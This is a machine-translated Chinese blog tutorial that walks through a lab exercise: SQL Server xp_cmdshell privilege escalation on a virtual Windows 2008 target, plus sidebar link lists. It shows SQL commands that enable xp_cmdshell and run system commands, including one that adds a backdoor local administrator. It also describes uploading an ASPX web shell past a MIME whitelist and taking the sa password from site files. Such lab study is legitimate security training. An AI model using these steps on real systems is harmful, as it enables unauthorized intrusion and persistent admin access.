当前位置:网站首页>110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]
110. Network security penetration test - [privilege promotion 8] - [windows sqlserver xp_cmdshell stored procedure authorization]
2022-07-07 11:56:00 【qwsn】
In my submission , Whether studying safety or engaging in safety , More or less, I have some feelings and sense of mission !!!
List of articles
One 、Windows Sqlserver xp_cmdshell Stored procedure Authorization
1、XP_CMDSHELL Background of power raising :
If the database used in the website is sqlserver So if you find sa Password , Can be opened xp_cmdshell stored procedure , With sqlserver Execute system commands as . But not necessarily the system permissions , It also depends on the administrator installing at the beginning sqlserver Permission settings for .
2、XP_CMDSHELL Relevant concepts :
(1)xp_cmdshell stored procedure 【 The stored procedure is : One or more that have been precompiled into an executable procedure SQL Collection of statements 】, It is used to execute this machine cmd Ordered , System login required sa jurisdiction . By default ,sql server2005/2008 After installation ,xp_cmdshell Stored procedures are disabled , If you want to use it , You can turn on :
Exec sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;`
Serial number | command | notes |
---|---|---|
1 | Exec sp_configure ‘show advanced options’,1; | # Allow configuration of advanced options |
2 | RECONFIGURE; | # Reconfiguration |
3 | EXEC sp_configure ‘xp_cmdshell’,1; | # Enable xp_cmdshell stored procedure |
4 | RECONFIGURE; | # Reconfiguration |
(2) Execute system command format :
Serial number | command | notes |
---|---|---|
1 | Exec master.dbo.xp_cmdshell ‘whoami’ | # View the current user |
2 | Exec master.dbo.xp_cmdshell ‘net user’ | # View all users |
3 | Exec master.dbo.xp_cmdshell ‘systeminfo’ | # see OS Information |
4 | Exec master.dbo.xp_cmdshell ‘net user test 123 /add & net localgroup administrators test /add’ | # Add administrator group user |
(3) Disable it after use :Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
Serial number | command | notes |
---|---|---|
1 | Exec sp_configure ‘show advanced options’,1; | # Allow configuration of advanced options |
2 | RECONFIGURE; | # Reconfiguration |
3 | EXEC sp_configure ‘xp_cmdshell’,0; | # Ban xp_cmdshell stored procedure |
4 | RECONFIGURE; | # Reconfiguration |
3、XP_CMDSHELL The actual battle of raising power :
(1) Experimental environment :
1. Target environment :
(1) virtual machine Windows2008【target_sys.com】【192.168.97.131】
(2) Scripting language environment :php/asp The language environment exists
2. attack :
(1) virtual machine Win7【192.168.97.130】
(2)Firefox+Burpsuite+ Ant sword + Malaysia
3. The network environment :
(1)VMware Built NAT The Internet
(3) Target link :
URL:http://target_sys.com/upload.php
(3) Experimental process :
First step : Visit the target link , utilize MIME Break through the type limit of the white list , Upload up.aspx Malaysia
【 The above process is a little 】 The following is the right raising process :
The second step : Connect up.aspx Malaysia 【 The password for admin】, And click [File Manager] File management module , Search for sqlserver The account number and password of
Connecting Malaysia :
sqlserver The general storage location of the connection data :web.config、config.asp、conn.aspx、database.aspx, But the environment is really sidelined (www.demo1.com) Under the index.aspx Memory stores as User password :123456
The third step : Click on [DataBase] Database module , Use the just obtained sa Account connection mssql, Simultaneous discovery SQL SERVER Version is 2008
xp_cmdshell Stored procedures are used to execute native cmd Ordered , System login required sa jurisdiction
Step four :SQLExec Select from the drop-down box Add xp_cmdshell(SQL2005) This option , Turn on xp_cmdshell stored procedure
Step five : Use the just launched xp_cmdshell stored procedure , With sqlserver To execute some system commands as
Because viewing the current permission is also an ordinary user , So you can only execute some basic commands , You can also upload the overflow right lifting tool Then improve the permissions of the current user .
边栏推荐
- There are so many factors that imprison you
- How to write test cases for test coupons?
- SwiftUI Swift 内功之如何在 Swift 中进行自动三角函数计算
- SwiftUI 教程之如何在 2 秒内实现自动滚动功能
- 【滤波跟踪】捷联惯导纯惯导解算matlab实现
- Flet教程之 15 GridView 基础入门(教程含源码)
- 问下flinkcdc2.2.0的版本,支持并发,这个并发是指多并行度吗,现在发现,mysqlcdc全
- Talk about SOC startup (VI) uboot startup process II
- 聊聊SOC启动(十一) 内核初始化
- Have you ever met flick Oracle CDC, read a table without update operation, and read it repeatedly every ten seconds
猜你喜欢
Matlab implementation of Huffman coding and decoding with GUI interface
【紋理特征提取】基於matlab局部二值模式LBP圖像紋理特征提取【含Matlab源碼 1931期】
[shortest circuit] acwing1128 Messenger: Floyd shortest circuit
聊聊SOC启动(六)uboot启动流程二
总结了200道经典的机器学习面试题(附参考答案)
STM32F1与STM32CubeIDE编程实例-315M超再生无线遥控模块驱动
[full stack plan - programming language C] basic introductory knowledge
How to add aplayer music player in blog
5V串口接3.3V单片机串口怎么搞?
Stm32f1 and stm32subeide programming example -max7219 drives 8-bit 7-segment nixie tube (based on SPI)
随机推荐
There are so many factors that imprison you
聊聊SOC启动(九) 为uboot 添加新的board
Zhou Yajin, a top safety scholar of Zhejiang University, is a curiosity driven activist
MATLAB实现Huffman编码译码含GUI界面
How to write test cases for test coupons?
竟然有一半的人不知道 for 与 foreach 的区别???
Time bomb inside the software: 0-day log4shell is just the tip of the iceberg
Excel公式知多少?
【紋理特征提取】基於matlab局部二值模式LBP圖像紋理特征提取【含Matlab源碼 1931期】
CMU15445 (Fall 2019) 之 Project#2 - Hash Table 详解
Reasons for the failure of web side automation test
R语言使用magick包的image_mosaic函数和image_flatten函数把多张图片堆叠在一起形成堆叠组合图像(Stack layers on top of each other)
STM32 entry development NEC infrared protocol decoding (ultra low cost wireless transmission scheme)
Half of the people don't know the difference between for and foreach???
【愚公系列】2022年7月 Go教学课程 005-变量
Le Cluster kubernets en cours d'exécution veut ajuster l'adresse du segment réseau du pod
从工具升级为解决方案,有赞的新站位指向新价值
HCIA复习整理
浙江大学周亚金:“又破又立”的顶尖安全学者,好奇心驱动的行动派
The function of adding @ before the path in C #